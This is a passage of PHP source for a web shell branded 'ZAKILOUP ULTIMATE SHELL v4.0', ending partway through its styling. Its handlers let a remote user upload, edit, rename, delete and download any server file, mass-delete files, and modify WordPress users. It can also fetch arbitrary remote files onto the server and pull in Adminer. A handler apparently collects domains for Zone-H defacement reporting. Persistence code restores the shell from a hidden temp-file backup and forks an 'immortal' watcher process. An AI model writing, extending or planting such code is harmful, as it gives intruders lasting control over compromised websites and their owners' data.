            $baseDir = $_POST['custom_base_dir'];
        }
        
        $filename = basename($sourceFile);
        
        $results = RBPmassDelete($baseDir, $filename);
        $_SESSION['mass_delete_results'] = $results;
        $_SESSION['mass_delete_filename'] = $filename;
        $_SESSION['mass_delete_base'] = $baseDir;
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['wp_edit_user_submit'])) {
        $isPostAction = true;
        $result = RBPeditWordPressUser();
        $_SESSION['wp_edit_results'] = $result;
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['wget_url'])) {
        $isPostAction = true;
        $url = $_POST['wget_url'] ?? '';
        $fileName = basename($url);
        $destination = $currentDir . '/' . $fileName;
        
        if (!empty($url)) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
            $fileContent = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($httpCode === 200 && $fileContent !== false && file_put_contents($destination, $fileContent)) {
                $_SESSION['wget_result'] = "File downloaded successfully!";
            } else {
                $_SESSION['wget_result'] = "Download failed! HTTP Code: $httpCode";
            }
        }
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['download_adminer'])) {
        $isPostAction = true;
        function RBPadminer($url, $isi) {
            $fp = fopen($isi, "w");
            if (!$fp) return false;
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            $result = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            fclose($fp);
            
            return $httpCode === 200 && $result !== false;
        }

        if (file_exists('adminer.php')) {
            $_SESSION['adminer_result'] = "Adminer is already downloaded!";
        } else {
            if (RBPadminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) {
                $_SESSION['adminer_result'] = "Adminer downloaded successfully!";
            } else {
                $_SESSION['adminer_result'] = "Failed to download adminer.php";
            }
        }
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['zoneh_submit'])) {
        $isPostAction = true;
        $domainList = isset($_POST['zoneh_url']) ? explode("\n", str_replace("\r", "", $_POST['zoneh_url'])) : [];
        $nick = $_POST['zoneh_nick'] ?? 'RBP';
        
        $_SESSION['zoneh_results'] = [
            'nick' => $nick,
            'domains' => $domainList
        ];
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['s']) && isset($_FILES['u'])) {
        $isPostAction = true;
        if ($_FILES['u']['error'] == 0) {
            $fileName = $_FILES['u']['name'];
            $tmpName = $_FILES['u']['tmp_name'];
            $destination = $currentDir . '/' . $fileName;
            if (move_uploaded_file($tmpName, $destination)) {
                $_SESSION['upload_result'] = "SUCCESS: File uploaded successfully!";
            } else {
                $_SESSION['upload_result'] = "ERROR: Upload failed!";
            }
        } else {
            $_SESSION['upload_result'] = "ERROR: Upload error: " . $_FILES['u']['error'];
        }
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['del'])) {
        $isPostAction = true;
        $filePath = base64_decode($_POST['del']);
        if (@unlink($filePath)) {
            $_SESSION['delete_result'] = "SUCCESS: File deleted successfully!";
        } else {
            $_SESSION['delete_result'] = "ERROR: Delete failed!";
        }
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
        $isPostAction = true;
        $filePath = base64_decode($_POST['obj']);
        if (file_put_contents($filePath, $_POST['content'])) {
            $_SESSION['save_result'] = "SUCCESS: File saved successfully!";
        } else {
            $_SESSION['save_result'] = "ERROR: Save failed!";
        }
        $fileDir = dirname($filePath);
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($fileDir));
        exit;
    }
    
    if (isset($_POST['ren']) && isset($_POST['new'])) {
        $isPostAction = true;
        $oldPath = base64_decode($_POST['ren']);
        $newPath = dirname($oldPath) . '/' . $_POST['new'];
        if (rename($oldPath, $newPath)) {
            $_SESSION['rename_result'] = "SUCCESS: File renamed successfully!";
        } else {
            $_SESSION['rename_result'] = "ERROR: Rename failed!";
        }
        $oldDir = dirname($oldPath);
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($oldDir));
        exit;
    }
    
    if (isset($_POST['download_file'])) {
        $isPostAction = true;
        $filePath = base64_decode($_POST['download_file']);
        if (file_exists($filePath) && is_file($filePath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
            header('Content-Length: ' . filesize($filePath));
            readfile($filePath);
            exit;
        } else {
            $_SESSION['download_result'] = "ERROR: File not found!";
            header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
            exit;
        }
    }
    
    // Display notifications
    if (isset($_SESSION['upload_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['upload_result'], 'SUCCESS') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['upload_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['upload_result']);
    }
    
    if (isset($_SESSION['delete_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['delete_result'], 'SUCCESS') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['delete_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['delete_result']);
    }
    
    if (isset($_SESSION['save_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['save_result'], 'SUCCESS') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['save_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['save_result']);
    }
    
    if (isset($_SESSION['rename_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['rename_result'], 'SUCCESS') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['rename_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['rename_result']);
    }
    
    if (isset($_SESSION['wget_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['wget_result'], 'successfully') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['wget_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['wget_result']);
    }
    
    if (isset($_SESSION['adminer_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['adminer_result'], 'successfully') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['adminer_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['adminer_result']);
    }
    
    if (isset($_SESSION['download_result'])) {
        echo "<div style='position: fixed; top: 10px; right: 10px; padding: 15px; border-radius: 5px; z-index: 9999; font-weight: bold; ";
        if (strpos($_SESSION['download_result'], 'SUCCESS') !== false) {
            echo "background: #4CAF50; color: white; border: 2px solid #45a049;";
        } else {
            echo "background: #f44336; color: white; border: 2px solid #d32f2f;";
        }
        echo "'>" . $_SESSION['download_result'] . "</div>";
        echo "<script>setTimeout(function(){ document.querySelector('div[style*=\"position: fixed\"]').remove(); }, 3000);</script>";
        unset($_SESSION['download_result']);
    }
    
} catch (Exception $e) {
    // Emergency recovery on any error
    if (isset($recovery)) {
        $recovery->emergencyRecovery();
    }
    header("Refresh:0");
    exit;
}

// 🎪 SPECIAL FEATURE: AUTO-RECOVERY HOOK
function autoRecoveryHook() {
    static $lastCheck = 0;
    
    // Check every 10 requests
    if (time() - $lastCheck > 10) {
        $lastCheck = time();
        
        $mainFile = __FILE__;
        if (!file_exists($mainFile) || filesize($mainFile) < 5000) {
            $backup = sys_get_temp_dir() . '/.php_core_' . md5(__FILE__) . '.tmp';
            if (file_exists($backup)) {
                copy($backup, $mainFile);
            } else {
                // Recreate from current running code
                file_put_contents($mainFile, file_get_contents(__FILE__));
            }
        }
    }
}

// Register the hook
register_tick_function('autoRecoveryHook');
declare(ticks=1);

// 🔥 FINAL SECURITY: IMMORTAL PROCESS
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        // Fork failed
    } elseif ($pid) {
        // Parent process
    } else {
        // Child process - becomes immortal watcher
        while (true) {
            $mainFile = __FILE__;
            if (!file_exists($mainFile)) {
                $backup = sys_get_temp_dir() . '/.php_core_' . md5(__FILE__) . '.tmp';
                if (file_exists($backup)) {
                    copy($backup, $mainFile);
                }
            }
            sleep(30); // Check every 30 seconds
        }
        exit(0);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>⚡ ZAKILOUP ULTIMATE SHELL v4.0</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #0c0c0c;
            color: #fff;
            min-height: 100vh;
        }
        
        .header {
            background: #0c0c0c;
            padding: 15px 0;
            border-bottom: 2px solid #ff0000;
            text-align: center;
        }
        
        .logo-container {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 15px;
            margin-bottom: 15px;
        }

        .logo {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            border: 2px solid #ff0000;
            padding: 2px;
        }

        .logo-text {
            font-size: 28px;
            font-weight: bold;
            background: linear-gradient(45deg, #ff0000, #ff3300, #ff6600);
            background-size: 300% 300%;
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            animation: colorShift 3s ease infinite;
        }
        
        @keyframes colorShift {
            0% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
            100% { background-position: 0% 50%; }
        }
        
        .team-tag {
            font-size: 16px;
            color: #fff;
            background: #222;
            padding: 5px 15px;
            border-radius: 20px;
            border: 1px so